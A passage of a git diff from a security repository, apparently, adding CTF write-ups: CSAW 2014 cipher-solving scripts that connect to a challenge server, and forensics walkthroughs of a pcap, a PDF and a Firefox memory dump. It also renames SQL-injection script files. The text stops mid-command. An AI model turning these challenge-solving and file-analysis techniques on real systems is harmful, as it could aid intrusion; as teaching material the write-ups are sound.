Web_Hacking}/urllib2/mapping_web_app_install.py (100%) rename {Web_Security => Web_Hacking}/urllib2/simple_http_requests.py (100%) rename {Web_Security => Web_Hacking}/user_id/sqli_19_cookie_auth.py (100%) rename {Web_Security => Web_Hacking}/user_id/sqli_20_user_id_2.py (100%) delete mode 100644 requirements.txt diff --git a/.gitignore b/.gitignore deleted file mode 100644 index fd2426e..0000000 --- a/.gitignore +++ /dev/null @@ -1,57 +0,0 @@ -# Byte-compiled / optimized / DLL files -__pycache__/ -*.py[cod] - -# C extensions -*.so - -# Distribution / packaging -.Python -env/ -build/ -develop-eggs/ -dist/ -downloads/ -eggs/ -lib/ -lib64/ -parts/ -sdist/ -var/ -*.egg-info/ -.installed.cfg -*.egg - -# PyInstaller -# Usually these files are written by a python script from a template -# before PyInstaller builds the exe, so as to inject date/other infos into it. -*.manifest -*.spec - -# Installer logs -pip-log.txt -pip-delete-this-directory.txt - -# Unit test / coverage reports -htmlcov/ -.tox/ -.coverage -.cache -nosetests.xml -coverage.xml - -# Translations -*.mo -*.pot - -# Django stuff: -*.log - -# Sphinx documentation -docs/_build/ - -# PyBuilder -target/ - -# Shit -*~ diff --git a/.travis.yml b/.travis.yml deleted file mode 100644 index 252e9db..0000000 --- a/.travis.yml +++ /dev/null @@ -1,9 +0,0 @@ -language: python -python: - - "2.7" -# command to install dependencies -install: "pip install -r requirements.txt" -# command to run tests -script: nosetests -notifications: - email: false diff --git a/CTFs_and_WarGames/2014/CSAW-quals/README.md b/CTFs_and_WarGames/2014/CSAW-quals/README.md deleted file mode 100644 index e69de29..0000000 diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/bt3gl b/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/bt3gl deleted file mode 100644 index e69de29..0000000 diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/crypto-200 b/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/crypto-200 deleted file mode 100644 index e69de29..0000000 diff --git a/CTFs_and_WarGames/2014/CSAW-quals/forensics/README.md b/CTFs_and_WarGames/2014/CSAW-quals/forensics/README.md deleted file mode 100644 index e69de29..0000000 diff --git a/CTFs_and_WarGames/CTFs-RECON.md b/CTFs_and_WarGames/CTFs-RECON.md index 439d074..845ec1a 100644 --- a/CTFs_and_WarGames/CTFs-RECON.md +++ b/CTFs_and_WarGames/CTFs-RECON.md @@ -1,8 +1,6 @@ # Recon - - ### Searching the Internets The recon problems usually give you someone/something's name and a task or a hint to find some specific information about it. So the first thing is of course google it. @@ -29,6 +27,7 @@ Google anything using keywords such as ```filetype:cgi inurl:cgi-bin``` - [redbot.org](https://redbot.org/) - [shodan.io](https://www.shodan.io/) - [censys.io](https://censys.io/) + ----------------- [FireBug]: http://getfirebug.com/ [Burp Suite]: http://portswigger.net/burp/ diff --git a/CTFs_and_WarGames/CTFs_Writeups/9447/README.md b/CTFs_and_WarGames/CTFs_Writeups/9447/README.md new file mode 100644 index 0000000..cd8fb83 --- /dev/null +++ b/CTFs_and_WarGames/CTFs_Writeups/9447/README.md @@ -0,0 +1,213 @@ +# 9447's CTF 2014 + +## On Redis & AES Encryption + +### The Client File + +The first file was a script **client.py**, where, by using Python's [socket](https://docs.python.org/2/library/socket.html) library, showed how a connection to the server could be made: + +```py +import os, socket, struct, sys +from Crypto.Cipher import AES + +class EncryptedStream(object): + key = 'this is not the flag nor the key'[:16] + def __init__(self, host, port): + self.sock = socket.socket() + self.sock.connect((host, port)) + def send(self, msg): + while len(msg) % 16: + msg += '\0' + iv = os.urandom(16) + aes = AES.new(self.key, AES.MODE_ECB, iv) + enc = aes.encrypt(msg) + self.sock.send(struct.pack(' There's no heartbleed here. Why don't we use these ciphers? +> +> nc 54.209.5.48 12345 +> +> Written by psifertex + + +------ + +## Stage One: Caesar Cipher + + +#### Connecting to the Server + +We start typing the **netcat** command in the terminal: + +```sh +nc 54.209.5.48 12345 +``` + +We get the following message back: + +> Welcome to psifer school v0.002 +> +> Your exam begins now. You have 10 seconds, work fast. +> +> Here is your first psifer text, a famous ancient roman would be proud if you solve it. +> +> psifer text: **wkh dqvzhu wr wklv vwdjh lv vxshuvlpsoh** +> +>Time's up. Try again later. + +This text gives a cipher ``` wkh dqvzhu wr wklv vwdjh lv vxshuvlpsoh``` and the hint *a famous ancient roman would be proud*. That's all we need to decipher it! + + +#### Frequency Analysis +The famous roman is **Caesar**, and [his cryptographic scheme] is one of the simplest possible. This cipher is also known as **rotation cipher**, because all we do is rotating the letters by some value (the **key**). A modern version of it is called **ROT13**, meaning **rotation by 13 places**. This is a simple letter substitution cipher which replaces each letter with the 13th letter after it in the alphabet. In this case, we say that the *key is 13*. + +In our problem, we don't know the key. However, there is a method to circumvent it: we can count how many times each letter appears in the text and then we use some previous knowledge about the frequency of each letter in the English words. For example, in the English language, *e*, *t*, *a*, *o*, and *n* are frequent letters while *z* or *v* is not. This means that we can analyze the frequency of each character to determine what's the most probable rotation key. + +To count the frequency of characters in our cipher, we write a snippet that creates a counter [dictionary (hash table)] with all the (lowercase) characters as the dictionary's keys. Note that we could have used Python's [Counter() data-structure] as well. We then iterate through each character in the message, counting their frequency, and returning a sorted list of these values: + + +```python +import string + +def frequency(msg): + # Compute the word frequencies + dict_freq = dict([(c,0) for c in string.lowercase]) + diff = 0.0 + for c in msg.lower(): + if 'a'<= c <= 'z': + diff += 1 + dict_freq[c] += 1 + list_freq = dict_freq.items() + list_freq.sort() + return [b / diff for (a, b) in list_freq] +``` + + + + +#### Deciphering the Cipher + + + +Using a [well-known table of word frequency values], we write a snippet that does the following: + + 1. First, for each of the 26 letters, we subtract its known frequency value from the frequency obtained from our message. + 2. Second, we find what is the minimum value from those subtractions. The closest value is the most probable value for the rotation key. + + +```python +def delta(freq_word, freq_eng): + # zip together the value from the text and the value from FREQ + diff = 0.0 + for a, b in zip(freq_word, freq_eng): + diff += abs(a - b) + return diff + +def decipher(msg): + # Decipher by frequency + min_delta, best_rotation = 20, 0.0 + freq = frequency(msg) + for key in range(26): + d = delta(freq[key:] + freq[:key], FREQ_ENGLISH) + if d < min_delta: + min_delta = d + best_rotation = key + return cipher(msg, -best_rotation) +``` + + + + +Once we have the key, we just plug it back to the cipher algorithm, inverting the rotation to the other side, with ```cipher(msg, -best_rotation)```. In this cipher function, we iterate through all the character in the message, checking whether it's a letter or a special character. If it is the former case we perform the following operations: + + 1. We start getting the integer representing the [Unicode] code point of the character. + 2. To get its position in the alphabet and we subtract it from the Unicode value of *a*, given by **ord('a')** (this is 97). + 3. We add the key value to it to get the (absolute) shift position. + 4. Now we need to remember that this cipher is a ring, *i.e*, adding more stuff should always lead to a *spot* within the 26 letters in the alphabet. That's why we apply an [module] operation to this number to get the *relative* position in the letter's table. + 5. Finally, we just need the value of the shift to the Unicode of *a* to get the position of the character in the cipher. + 6. Remember we are using *-key*, so instead of making a new cipher, we are using the same steps to rotate the cipher to the other side to recover the message. + +```python +def cipher(msg, key): + # Make the cipher + dec = '' + for c in msg.lower(): + if 'a' <= c <= 'z': + dec += chr(ord('a') + (ord(c) - ord('a') + key) % 26) + else: + dec += c + return dec +``` + +Bingo! The snippets above lead us to our first answer in this problem: + +> the answer to this stage is **supersimple** + +Netcating several times can return other similar answers such as **hopeyouautomate** or **easypeesy** or **notveryhard**. They are all correct. + + + +#### Automating the Response + +To advance forward, we need to send one of the above answers to the socket. However, we only **have 10 seconds** to do this! It's clear that we need to automate this problem with a script. + +We can do this in many ways. In Python, for example, we can use the libraries [telnetlib] or [socket] or even writing our [own netcat script]. We will use the former for this exploit. Let us create a telnet connection with: + +```python +from telnetlib import Telnet + +PORT = 12345 +HOST = '54.209.5.48' + +tn = Telnet(HOST ,PORT) +``` + +In this case, socket reading can be done with ```tn.read_until(b'psifer text: ')```, which reads until a given string is encountered, or ```tn.read_all()```, which reads all data until EOF. + +To write a string to the socket we do ```tn.write(mystring.encode() + b'\n')```. Here, the method [encode()] returns an encoded version of the string, *i.e* a translation of a sequence of bytes to a Unicode string. + + +As a side note, if we had decided to use the [socket] library to create a *TCP socket*, the process would be easy as well: + +```python +s = socket(AF_INET, SOCK_STREAM) +s.connect(HOST) +``` + +Here ```socket.AF_UNIX, socket.AF_INET, socket.AF_INET6``` are constants that represent the address (and protocol) families. The constants ```socket.SOCK_STREAM, socket.SOCK_DGRAM, socket.SOCK_RAW, socket.SOCK_RDM, socket.SOCK_SEQPACKET```represent the socket types. + +To read the socket stream we would use commands such as ```s.recv(2048)``` and for writing, we could use ```s.sendall(answer)```. + + + +#### Decrypting and Sending the Answer +Now, back to our problem. After creating the telnet connection, we read whatever comes in: +```python +tn.read_until(b'psifer text: ') +``` + +We decode and decrypt the text, and then encode it again: +```python +msg_in1 = tn.read_until(b'\n').decode().strip() +dec_msg_in1 = decipher(msg_in1) +answer1 = dec_msg_in1.split()[-1].encode() + b'\n' +``` + +Finally, we send our answer to the telnet session (the same answer obtained before): +```python +tn.write(answer1) +``` + +----------------------------------------- + +## Stage Two: Offset with Special Characters + +The second stage starts with the following message: + + +> Congratulations, you have solved stage 1. You have 9 seconds left. +> +> Now it's time for something slightly more difficult. Hint, everybody knows it's +> not length that matters. + +Together with the hint *length doesn't matter*, we get the following cipher (translated as a Python string variable because of the special characters): + +```I'lcslraooh o rga tehhywvf.retFtelh mao ae af ostloh lusr bTsfnr, epawlltddaheoo aneviedr ose rtyyng etn aini ft oooey hgbifecmoswuut!oa eeg ar rr h.u t. hylcg io we ph ftooriysneirdriIa utyco gfl oostif sp u"+'""'+"flcnb roh tprn.o h``` + + +To crack this cipher we need to deal with special characters to find the rotation shift. We proceed with the following steps: + + 1. We start looping over the length of our message, where for each iteration we create a blank list with the size of the message. This is a bit *space-expensive* and it should be optimized if we needed to scale for larger problems. It's fine for our current problem. + + 2. We start a second loop, which will tell us about the shifts. This loop iterates again in the length of the message, this time adding the current character to the list we've created before and updated a pointer to the pacing value given in the first loop. Notice that we have a loop inside another, so this solution has *O(n^2) runtime* and it also should be optimized for larger problems. + + 3. Inside this second loop, we check whether the pacing pointer is larger than the length of the message, and if this is the case, we register it in a shift counter. The former pointer receives the value of this shift. This is the end of the second loop. + + 4. Back to the first loop, we add all the characters so far from our list into the message string. But when should we stop doing this? Until we make sure that had a rotation that produces real words. I tried a few common words, and 'you' worked just fine! + + +```python +def solve2(msg): + # Shift cypher, but dealing with special characters + for j in range(2, len(msg)): + + dec_msg = ['0'] * len(msg) + idec_msg, shift = 0, 0 + + for i in range(len(msg)): + dec_msg[idec_msg] = msg[i] + idec_msg += j + + if idec_msg > len(msg) - 1: + shift += 1 + idec_msg = shift + dec_msg = "".join(dec_msg) + + if "you" not in dec_msg: continue + return dec_msg +``` + +After decoding this stage's cipher we get the key for the next stage, which is then sent back through the socket: + +> I hope you don't have a problem with this challenge. It should be fairly straight forward if you have done lots of basic crypto. The magic phrase for your efforts is "**not not wrong**". For your efforts, you will get another challenge! + + + +---- + +## Stage Three: Vigenere Cipher + +The next message lets us know that we are close to the end: + +> Congratulations, you have solved stage 2. You have 9 seconds left. +> Last one. + +And comes with the following cipher: +``` +MVJJN BQXKF NCEPZ WWVSH YFCSV JEEBB UVRMX HKPIE PMMVZ FOPME ZQIIU EUZZW CGHMV BKBTZ BBHVR MVTQP ENXRM HIRNB WTGDZ CFEDS TKBBW HBFDI KILCM MUUPX WUNIN PWPFJ IEZTP MVQBX ACVKN AEMPV KQXAB ZMDUD ILISV NHKBJ FCIMW HTUVR MNNGU KIFED STLLX XAOUN YVEGV BEXEI BHJNI GHXFI FQFYV VXZFE FXFFH OBVXR MVNLT NHUYY FEZWD GBKEL SGFLM LXBFO NEIOS MZHML XAJUX EIKWH YNAIK SOFLF EEKPI XLSDB PNGHV XHFON MSFOL VMNVX HIRNB XBGTF FOEUZ FZMAS NZEGL HFTPM PDNWM DVKCG WHAFE OKWXF ZIBRQ XCSJI FIMVJ EAFEK MIRXT PBHUC YEEFP MZNMP XZBDV EMMHM VFTQU ABISA EWOMZ NMPXZ BDVPL HGFWF XISSX RMPLB HFRML RHKJU IGXPO OKNHQ TYFKB BWAOS UYKXA OOZNG IXRTK IUIBT ZFOOI LCMMY WEECU FZLMF DMVWK CIHPT BTPES OXYLC HIQII UEUZZ RFKIT RZYUO IMVFT IWITB ENCEP UFFVT XVBUI KNAVH IHYCM MYWUY YETLA PJNHJ MVFGF TMGHF ONBWL HBKCV EMSBT BHJMV FCYOI EGJDH HXTAB JIVLB GUKBX JNBOP NAMGU JJNAE MRFGY GHBBH FHPLB QIIUG HHALV SRSNU FKNAE MDPVG FMZVU SYXBT QUCSM LXFJX BMSYT TVNMS LIDTY LWY +``` + +This is a **[Vigenere Cipher]**, which is basically several Caesar ciphers in sequence, with different shift values, given by a key-word. Finding these shifts when we don't know the key can be done by writing the alphabet 26 times in different rows. In this case, each alphabet is shifted cyclically to the left compared to the previous alphabet (26 Caesar ciphers). + +Although we could use some [online Vigenere cracker] to extract the flag from this text, we will instead write a code. We use Python's library [pygenere], which has the methods ```crack_message()``` to decipher the message and ```crack_codeword()``` to find the key (useful because we don't have the key). We then send our cipher to the following function: + +```python +def solve3(msg): + key = VigCrack(msg).crack_codeword() + dec_msg = VigCrack(msg).crack_message() + dec_msg = dec_msg.replace(" ", "") + return key, dec_msg +``` + +This will give us the **key = TOBRUTE** and the deciphered text. After fixing the spaces between the words, we get: + +``` +THIS TIME WE WILL GIVE YOU MORE PLAINTEXT TO WORK WITH YOU WILL PROBABLY FIND THAT HAVING EXTRA CONTENT THAT IS ASCII MAKES THIS ONE MORE SOLVABLE IT WOULD BE SOLVABLE WITHOUT THAT BUT WE WILL MAKE SURE TO GIVE LOTS OF TEXT JUST TO MAKE SURE THAT WE CAN HANDLE IT I WONDER HOW MUCH WILL BE REQUIRED LETS PUT THE MAGIC PHRASE FOR THE NEXT LEVEL IN THE MIDDLE RIGHT HERE NORMALWORD OK NOW MORE TEXT TO MAKE SURE THAT IT IS SOLVABLE I SHOULD PROBABLY JUST PUT IN SOME NURSERY RHYME OR SOMETHING MARY HADA LITTLE LAMB LITTLE LAMB LITTLE LAMB MARY HADA LITTLE LAMB WHOSE FLEEZE WAS WHITE AS SNOW I DONT WANT TO MAKE THIS HARDER THAN IT NEEDS TO BE IF YOU VE SOLVED A LOT OF SIMPLE CRYPTO CHALLENGES YOU PROBABLY ALREADY HAVE THE CODE AND WILL BREEZE RIGHT THROUGH IT IF IT HELPS MOST OF THE PLAINTEXT IS STATIC AT EACH OF THE LEVELS I M NOT A MASOCHIST THE FUNNY THING IS THAT DEPENDING ON WHICH RANDOMKEY YOU GET THAT POEM MIGHT BE EXACTLY THE RIGHT OFFSET TO SUCCESSFULLY MOUNT AN ATTACK WE LL SEE LITTLE BIT MORE LITTLE BIT MORE THERE, +``` +Reading it carefully give us the last answer for the flag: **NORMALWORD**. Sweet! + + + + +## Final Words + +If you like this solution, take a look at my [exploit for this problem]. + +**Hack all the things!** + +[his cryptographic scheme]: http://en.wikipedia.org/wiki/Caesar_cipher +[exploit for this problem]: https://github.com/autistic-symposium/sec-pentesting-toolkit/tree/master/CTFs_and_WarGames/2014-CSAW-CTF/cryptography/crypto-200 +[scripts from other authors]:https://github.com/go-outside-labs/CTFs-and-Hacking-Scripts-and-Tutorials/tree/master/2014-CSAW-CTF/cryptography/crypto-200/from_the_net +[well-known table of word frequency values]: http://en.wikipedia.org/wiki/Letter_frequency + [telnetlib]: https://docs.python.org/2/library/telnetlib.html + [socket]: https://docs.python.org/2/library/socket.html + [own netcat script]: https://github.com/go-outside-labs/CTFs-and-Hacking-Scripts-and-Tutorials/blob/master/Tutorials/Useful_Scripts/netcat.py + [pygenere]: http://smurfoncrack.com/pygenere/pygenere.php + [Vigenere Cipher]: http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher + [online Vigenere cracker]: http://smurfoncrack.com/pygenere/ +[dictionary (hash table)]: https://docs.python.org/2/tutorial/datastructures.html#dictionaries +[Counter() data-structure]: https://docs.python.org/2/library/collections.html#collections.Counter +[ord()]: https://docs.python.org/2/library/functions.html#ord +[module]: http://en.wikipedia.org/wiki/Modulo_operation +[Unicode]: http://en.wikipedia.org/wiki/Unicode +[encode()]: https://docs.python.org/2/library/stdtypes.html#str.encode diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/__init__.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/__init__.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/__init__.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/__init__.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/caesarCipher.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/caesarCipher.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/caesarCipher.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/caesarCipher.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.php b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.php similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.php rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.php diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.pl b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.pl similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.pl rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/from_the_net/psifer-school.pl diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/locate b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/locate similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/locate rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/locate diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/psifer-school.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/psifer-school.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/psifer-school.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/psifer-school.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/pygenere.py b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/pygenere.py similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/pygenere.py rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/pygenere.py diff --git a/CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/scully b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/scully similarity index 100% rename from CTFs_and_WarGames/2014/CSAW-quals/cryptography/crypto-200/scully rename to CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/cryptography/crypto-200/scully diff --git a/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/README.md b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/README.md new file mode 100644 index 0000000..c53cb4b --- /dev/null +++ b/CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/forensics/README.md @@ -0,0 +1,1012 @@ +# CSAW CTF 2014 - Forensics 200: "why not sftp?" + +The purpose of this problem is to teach about the need for encrypting your data. The [FTP] protocol sends clear text over the wire, *i.e* the data is transmitted without any encryption. + [SSH/Secure File Transfer Protocol] is a network protocol providing secure file transfer. Using SFTP, instead of FTP, would avoid finding the flag in this problem in the way we did. + +This is the second forensics problem and it starts with the following text: + +> well seriously, why not? +> +> Written by marc +> +> [traffic-5.pcap] +> + + + +--- + +## Analyzing the PCAP File + +Now let's search for the flag! We open the [pcap] file in [Wireshark] (an open-source packet analyzer). There are several things that we could search for in this file, for instance, we could look for FTP transactions or we could search for strings such as *password* or *flag*. We show both approaches. + + +## Solution 1: Searching for the string *flag* + +#### Going in the Wrong Way + +So the first thing I did was searching for the string *password*: + +1. Go to Edit +2. Go to Find Packet +3. Search for password choosing the options string and packet bytes. + +Clicking on *Follow TCP Stream* gives: +![cyber](http://i.imgur.com/c61P5Aj.png) + +Nope. This is misleading information! + +--- + +#### But We Were Almost There! + +Now, if we search for *flag* we actually find something: + +![cyber](http://i.imgur.com/knuwJFq.png) + +We find the packet with a file named flag! Awesome. + + +--- + +## Solution 2: Looking for the FTP Protocols + +All right, let's use another information we have: it should be something related to the FTP protocol. In Wireshark, we can find specific protocol with filters. We want to filter for FTP with some data. We start trying the usual FTP-DATA port: + +``` +tcp.port==21 +``` + +Nope. The results should be another port. Let's search explicitly for: + +``` +ftp-data +``` + +Cool, we found a few packets: +![cyber](http://i.imgur.com/cWhiXZD.png) + + We don't need to scroll down too much to find a packet with a string flag on it! Awesome. + + +--- + +## Extracting the File + +Once we find the packet with any of the methods above, we right-click it selecting *Follow TCP Stream*. This leads to: + +![cyber](http://i.imgur.com/LZTse2s.png) + +The file *flag.png* is our flag. To extract it we click in the *Save as* button, then in the terminal, we can use the command [file]: +```sh +$ file s.whatever +s.whatever: Zip archive data, at least v2.0 to extract +``` + +Awesome, so all we need is to *unzip* this file and we get *flag.png*: + +![cyber](http://i.imgur.com/WcxyITv.png) + +#### Extra: Finding files with *File Signatures* +If we don't know the name of the file we are looking for, but we know its type, we can search for its [file signature], which can be found [here] (a hex value). + + +**Hack all the Things!** +[file signature]: http://en.wikipedia.org/wiki/File_signature +[here]: http://en.wikipedia.org/wiki/List_of_file_signatures +[file]: http://en.wikipedia.org/wiki/File_(command) +[SSH/Secure File Transfer Protocol]: http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol +[traffic-5.pcap]: https://ctf.isis.poly.edu/static/uploads/7831788f2ab94feddc72ce53e80fda5f/traffic-5.pcap +[sftp]: http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol +[pcap]: http://en.wikipedia.org/wiki/Pcap +[Wireshark]: https://www.wireshark.org/ +[FTP]: http://en.wikipedia.org/wiki/File_Transfer_Protocol + +------------- + +# CSAW CTF 2014 - Forensics 200: "Obscurity" + + + +The third forensics challenge starts with the following text: + +> see or do not see +> +> Written by marc +> +> [pdf.pdf] +> + + +Hacking PDFs, what fun! + + +In general, when dealing with reverse-engineering malicious documents, we follow these steps: + + 1. We search for malicious embedded code (shell code, JavaScript). + + 2. We extract any suspicious code segments + + 3. If we see shellcode, we disassemble or debug it. If we see JavaScript (or ActionScript or VB macro code), we try to examine it. + + +However, this problem turned out to be very simple... + +--- + +## Finding the Flag in 10 Seconds + +Yeap, this easy: + + + 1. Download the PDF file. + + 2. Open it in any PDF viewer. + + 3. CTRL+A (select all the content). + + 4. You see the flag! + +![cyber](http://i.imgur.com/b03EehK.png) + +OK, we were lucky. Keep reading if you think this was too easy. + + + +---- + +## Analyzing the ID and the Streams in a PDF File + +Let's suppose we had no clue that the flag would just be a text in the file. In this case, we would want to examine the file's structure. For this task, we use the [PDF Tool] suite, which is written in Python. + +#### pdfid + +We start with *pdfid.py*, which parses the PDF looking for certain keywords. We download and unzip that script, and then we make it an executable: + +```sh +$ unzip pdfid_v0_1_2.zip +$ chmod a+x pdfid.py +``` + +Running over our file gives: +```sh +$ ./pdfid.py pdf.pdf +PDFiD 0.1.2 pdf.pdf + PDF Header: %PDF-1.3 + obj 20 + endobj 19 + stream 10 + endstream 10 + xref 1 + trailer 1 + startxref 1 + /Page 1 + /Encrypt 0 + /ObjStm 0 + /JS 0 + /JavaScript 0 + /AA 0 + /OpenAction 0 + /AcroForm 0 + /JBIG2Decode 0 + /RichMedia 0 + /Launch 0 + /EmbeddedFile 0 + /XFA 0 + /Colors > 2^24 0 +``` + +All right, no funny stuff going on here. We need to look deeper into each of these streams. + +#### pdf-parser + +We download *pdf-parser.py*, which is used to search for all the fundamental elements in a PDF file. Let's take a closer look: + +```sh +$ unzip pdf-parser_V0_4_3.zip +$ chmod a+x pdf-parser.py +$ ./pdf-parser.py +Usage: pdf-parser.py [options] pdf-file|zip-file|url +pdf-parser, use it to parse a PDF document + +Options: + --version show program's version number and exit + -s SEARCH, --search=SEARCH + string to search in indirect objects (except streams) + -f, --filter pass stream object through filters (FlateDecode, + ASCIIHexDecode, ASCII85Decode, LZWDecode and + RunLengthDecode only) + -o OBJECT, --object=OBJECT + id of indirect object to select (version independent) + -r REFERENCE, --reference=REFERENCE + id of indirect object being referenced (version + independent) + -e ELEMENTS, --elements=ELEMENTS + type of elements to select (cxtsi) + -w, --raw raw output for data and filters + -a, --stats display stats for pdf document + -t TYPE, --type=TYPE type of indirect object to select + -v, --verbose display malformed PDF elements + -x EXTRACT, --extract=EXTRACT + filename to extract malformed content to + -H, --hash display hash of objects + -n, --nocanonicalizedoutput + do not canonicalize the output + -d DUMP, --dump=DUMP filename to dump stream content to + -D, --debug display debug info + -c, --content display the content for objects without streams or + with streams without filters + --searchstream=SEARCHSTREAM + string to search in streams + --unfiltered search in unfiltered streams + --casesensitive case sensitive search in streams + --regex use regex to search in streams +``` + +Very interesting! We run it with our file, searching for the string */ProcSet*: +```sh +$ ./pdf-parser.py pdf.pdf | grep /ProcSet + /ProcSet [ /ImageC /Text /PDF /ImageI /ImageB ] +``` +Awesome! Even though we don't see any text in the file (when we opened it in the PDF viewer), there is text somewhere! + + +------------- + +## Getting Text from PDF + + +A good way to extract text from a pdf is using [pdftotext]: + +```sh +$ pdftotext pdf.pdf +``` + +You should get a ```pdf.txt``` file. Reading it with Linux's commands ```cat``` or ```strings```gives you the flag: + +```sh +$ strings pdf.txt +flag{security_through_obscurity} +``` + +As a note, there are several other PDF forensics tools that are worth to be mentioned: [Origami] (pdfextract extracts JavaScript from PDF files), [PDF Stream Dumper] (several PDF analysis tools), [Peepdf] (command-line shell for examining PDF), [PDF X-RAY Lite] (creates an HTML report with decoded file structure and contents), [SWF mastah] (extracts SWF objects), [Pyew](for examining and decoding structure and content of PDF files). + + + + + +**Hack all the things!** +[PDF Tool]:http://blog.didierstevens.com/programs/pdf-tools/ +[Origami]: http://esec-lab.sogeti.com/pages/Origami +[PDF Stream Dumper]: http://blog.zeltser.com/post/3235995383/pdf-stream-dumper-malicious-file-analysis +[Peepdf]: http://blog.zeltser.com/post/6780160077/peepdf-malicious-pdf-analysis +[SWF mastah]: http://blog.zeltser.com/post/12615013257/extracting-swf-from-pdf-using-swf-mastah +[PDF X-RAY Lite]: https://github.com/9b/pdfxray_lite +[Pyew]: http://code.google.com/p/pyew/wiki/PDFAnalysis + +[this website]: http://blog.didierstevens.com/programs/pdf-tools/ +[pdf-tools]: https://apps.fedoraproject.org/packages/pdf-tools +[pdf.pdf]: https://ctf.isis.poly.edu/static/uploads/883c7046854e04138c55680ffde90a61/pdf.pdf +[pdftotext]: http://en.wikipedia.org/wiki/Pdftotext + + + +---- + + +# CSAW CTF 2014 - Forensics 100: "dumpster diving" + + +This was the first forensic challenge. It starts with the following text: + +> dumpsters are cool, but cores are cooler +> +> Written by marc +> +> [firefox.mem.zip] + + + +##Unziping firefox.mem.zip + +The given file has a funny extension *.mem.zip*. Before we go ahead and unzip it, let's try to learn more about this file. To do this we choose to use the Linux's command [file]: + +```sh +$ file --help +Usage: file [OPTION...] [FILE...] +Determine the type of FILEs. + + --help display this help and exit + -v, --version output version information and exit + -m, --magic-file LIST use LIST as a colon-separated list of magic + number files + -z, --uncompress try to look inside compressed files + -b, --brief do not prepend filenames to output lines + -c, --checking-printout print the parsed form of the magic file, use in + conjunction with -m to debug a new magic file + before installing it + -e, --exclude TEST exclude TEST from the list of test to be + performed for file. Valid tests are: + apptype, ascii, cdf, compress, elf, encoding, + soft, tar, text, tokens + -f, --files-from FILE read the filenames to be examined from FILE + -F, --separator STRING use string as separator instead of `:' + -i, --mime output MIME type strings (--mime-type and + --mime-encoding) + --apple output the Apple CREATOR/TYPE + --mime-type output the MIME type + --mime-encoding output the MIME encoding + -k, --keep-going don't stop at the first match + -l, --list list magic strength + -L, --dereference follow symlinks (default) + -h, --no-dereference don't follow symlinks + -n, --no-buffer do not buffer output + -N, --no-pad do not pad output + -0, --print0 terminate filenames with ASCII NUL + -p, --preserve-date preserve access times on files + -r, --raw don't translate unprintable chars to \ooo + -s, --special-files treat special (block/char devices) files as + ordinary ones + -C, --compile compile file specified by -m + -d, --debug print debugging messages +``` + +We find the flag ```-z```, which allows us to look inside the zipped files: + +```sh +$ file -z firefox.mem.zip +firefox.mem.zip: ELF 64-bit LSB core file x86-64, version 1 (SYSV) (Zip archive data, at least v2.0 to extract) +``` +Cool! So let's go ahead and unzip this file: + +```sh +$ unzip firefox.mem.zip nzip firefox.mem.zip +Archive: firefox.mem.zip + inflating: firefox.mem + creating: __MACOSX/ + inflating: __MACOSX/._firefox.mem +``` + +-------- + + + +## Extra: Learning More about the *.mem* File + +This is a very weird file extension. If you google *.mem*, you don't find much, it's clear it's a memory file, but what now? From the *file* command, we learned that this is an *ELF 64-bit LSB core*. Let's understand this by parts. + +A [ELF] file (Executable and Linkable Format) is a standard file format for executables, object code, shared libraries, and core dumps. The cool thing about ELF is that it's not bound to any particular architecture. + +In Linux, we can use the command [readelf] to displays information about ELF files: + + +```sh +$ readelf firefox.mem +Usage: 